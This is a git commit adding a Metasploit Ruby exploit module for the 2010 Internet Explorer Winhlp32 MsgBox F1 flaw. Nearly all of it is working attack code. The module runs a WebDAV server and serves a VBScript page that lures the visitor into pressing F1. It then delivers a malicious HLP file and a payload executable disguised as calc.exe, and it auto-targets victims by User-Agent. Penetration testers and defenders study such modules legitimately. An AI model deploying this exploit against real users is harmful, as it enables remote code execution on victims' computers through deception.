add exploit for IE Windows Help vulnerability
git-svn-id: file:///home/svn/framework3/trunk@8682 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
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453451a26d
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cc9113397c
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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#
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# This module acts as a HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IE Winhlp32.exe MsgBox F1',
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'Description' => %q{
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This module exploits a code execution vulnerability that occurs when a user
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presses F1 on MessageBox originated from VBscript within a web page. When the
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user hits F1, the MessageBox help functionaility will attempt to load and use
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a HLP file from an SMB or WebDAV (if the WebDAV redirector is enabled) server.
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This particular version of the exploit implements a WebDAV server that will
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serve HLP file as well as a payload EXE. During testing warnings about the
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payload EXE being unsigned were witnessed. A future version of this module
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might use other methods that do not create such a warning.
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},
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'Author' =>
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[
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'Maurycy Prodeus', # Original discovery
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'jduck' # Metasploit version
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'URL', 'http://blogs.technet.com/msrc/archive/2010/02/28/investigating-a-new-win32hlp-and-internet-explorer-issue.aspx' ],
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[ 'URL', 'http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Compat' =>
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{
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'ConnectionType' => '-find',
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}
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},
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'Platform' => 'win',
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# Tested OK - Windows XP SP3 - jjd
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'Targets' =>
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[
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[ 'Automatic', { } ],
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[ 'Internet Explorer on Windows',
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{
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# nothing here
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}
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]
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],
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'DisclosureDate' => 'Feb 26 2010',
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'DefaultTarget' => 0))
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end
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def auto_target(cli, request)
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agent = request.headers['User-Agent']
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ret = nil
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# Check for MSIE and/or WebDAV redirector requests
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if agent =~ /(Windows NT 6\.0|MiniRedir\/6\.0)/
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ret = targets[1]
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elsif agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
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ret = targets[1]
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elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
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ret = targets[1]
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elsif agent =~ /MSIE 7.0/
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ret = targets[1]
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elsif agent =~ /MSIE 6.0/
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ret = targets[1]
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else
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print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
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end
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ret
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end
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def on_request_uri(cli, request)
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mytarget = target
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if target.name == 'Automatic'
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mytarget = auto_target(cli, request)
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if (not mytarget)
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raise RuntimeError, 'Unable to automatically resolve the target!'
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end
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end
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# dispatch WebDAV requests based on method first
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case request.method
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when 'OPTIONS'
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process_options(cli, request, mytarget)
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when 'PROPFIND'
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process_propfind(cli, request, mytarget)
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when 'GET'
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process_get(cli, request, mytarget)
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when 'PUT'
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print_status("Sending 404 for PUT #{request.uri} ...")
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send_not_found(cli)
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else
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print_error("Unexpected request method encountered: #{request.method}")
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end
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end
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#
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# GET requests
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#
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def process_get(cli, request, target)
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# dispatch based on extension
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if (request.uri =~ /\.hlp$/i)
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#
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# HLP requests sent by IE and the WebDav Mini-Redirector
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#
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print_status("Sending HLP to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the compressed response to the client
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send_response(cli, generate_hlp(target), { 'Content-Type' => 'application/octet-stream' })
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elsif (request.uri =~ /calc\.exe$/i)
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#
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# send the EXE
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#
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print_status("Sending EXE to #{cli.peerhost}:#{cli.peerport}...")
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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exe = Msf::Util::EXE.to_win32pe(framework, p.encoded)
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send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
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else
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#
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# HTML requests sent by IE and Firefox
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#
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my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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name = rand_text_alphanumeric(rand(8)+8)
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#path = get_resource.gsub(/\//, '\\')
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path = request.uri.gsub(/\//, '\\')
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unc = '\\\\' + my_host + path + name + '.hlp'
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print_status("Using #{unc} ...")
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html = %Q|<html>
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<script type="text/vbscript">
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MsgBox "Welcome! Press F1 to dismiss this dialog.", ,"Welcome!", "#{unc}", 1
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</script>
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</html>
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print_status("Sending HTML page to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, html)
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end
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end
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#
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# OPTIONS requests sent by the WebDav Mini-Redirector
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#
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def process_options(cli, request, target)
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print_status("Responding to WebDAV OPTIONS request from #{cli.peerhost}:#{cli.peerport}")
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headers = {
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#'DASL' => '<DAV:sql>',
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#'DAV' => '1, 2',
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'Allow' => 'OPTIONS, GET, PROPFIND',
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'Public' => 'OPTIONS, GET, PROPFIND'
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}
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send_response(cli, '', headers)
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end
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#
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# PROPFIND requests sent by the WebDav Mini-Redirector
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#
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def process_propfind(cli, request, target)
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path = request.uri
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print_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport}")
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body = ''
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if (path =~ /calc\.exe$/i)
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# Uncommenting the following will use the target system's calc (as specified in the .hlp)
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#print_status("Sending 404 for #{path} ...")
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#send_not_found(cli)
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#return
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# Response for the EXE
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print_status("Sending EXE multistatus for #{path} ...")
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#<lp1:getcontentlength>45056</lp1:getcontentlength>
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body = %Q|<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype/>
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<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
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<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
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<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
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<lp2:executable>F</lp2:executable>
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<D:lockdiscovery/>
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<D:getcontenttype>application/octet-stream</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>
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elsif (path =~ /\.hlp/i)
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print_status("Sending HLP multistatus for #{path} ...")
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body = %Q|<?xml version="1.0"?>
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<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
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<a:response>
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</a:response>
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</a:multistatus>
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elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
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print_status("Sending 404 for #{path} ...")
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send_not_found(cli)
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return
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elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
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# Response for anything else (generally just /)
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print_status("Sending directory multistatus for #{path} ...")
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body = %Q|<?xml version="1.0" encoding="utf-8"?>
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<D:multistatus xmlns:D="DAV:">
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<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
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<D:href>#{path}</D:href>
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<D:propstat>
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<D:prop>
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<lp1:resourcetype><D:collection/></lp1:resourcetype>
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<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
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<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
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<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
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<D:lockdiscovery/>
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<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
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</D:prop>
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<D:status>HTTP/1.1 200 OK</D:status>
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</D:propstat>
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</D:response>
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</D:multistatus>
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else
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print_status("Sending 404 for #{path} ...")
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send_not_found(cli)
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return
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end
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# send the response
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resp = create_response(207, "Multi-Status")
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resp.body = body
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resp['Content-Type'] = 'text/xml'
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cli.send_response(resp)
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end
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#
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# Generate a HLP file that will trigger the vulnerability
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#
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def generate_hlp(target)
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@hlp_data
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end
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#
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# When exploit is called, load the runcalc.hlp file
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#
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def exploit
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if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
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raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
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end
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path = File.join(Msf::Config.install_root, "data", "exploits", "runcalc.hlp")
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fd = File.open(path, "rb")
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@hlp_data = fd.read(fd.stat.size)
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fd.close
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super
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end
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end
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